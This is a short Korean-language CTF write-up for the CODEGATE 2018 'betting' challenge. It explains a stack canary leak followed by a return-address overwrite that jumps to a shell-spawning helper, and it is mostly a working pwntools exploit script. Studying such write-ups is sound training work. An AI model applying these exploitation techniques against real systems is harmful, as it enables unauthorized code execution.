CODEGATE 2018 betting

betting

Binary File

[사진 1-1]
Canary가 걸려있으므로 Canary Leak을 해줘야 한다 우선 프로그램을 실행해보자.
[사진 1-2]
[사진 1-3]
함수를 하나하나 훑어보면 shell 실행 함수가 떡하니 나와있다. 앞에 padding을 하고 마지막에 오는 ret 주소 부분에 이 helper 함수를 넣어주면 될 것이다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *

r = process('./betting')
helper = 0x4008F6

def canary():
global canary
r.sendlineafter("? ", "A"*24)
r.sendlineafter("? ", "2")
r.recvuntil("A"*24 + "\n")
canary = u64("\x00" + r.recv()[:7])
r.sendlineafter("? ", "2")

def exploit():
payload = ""
payload += "A"*40
payload += p64(canary)
payload += "A"*8
payload += p64(helper)
r.sendline(payload)
r.interactive()

if __name__ == "__main__":
canary()
exploit()
[Exploit Code]
공유하기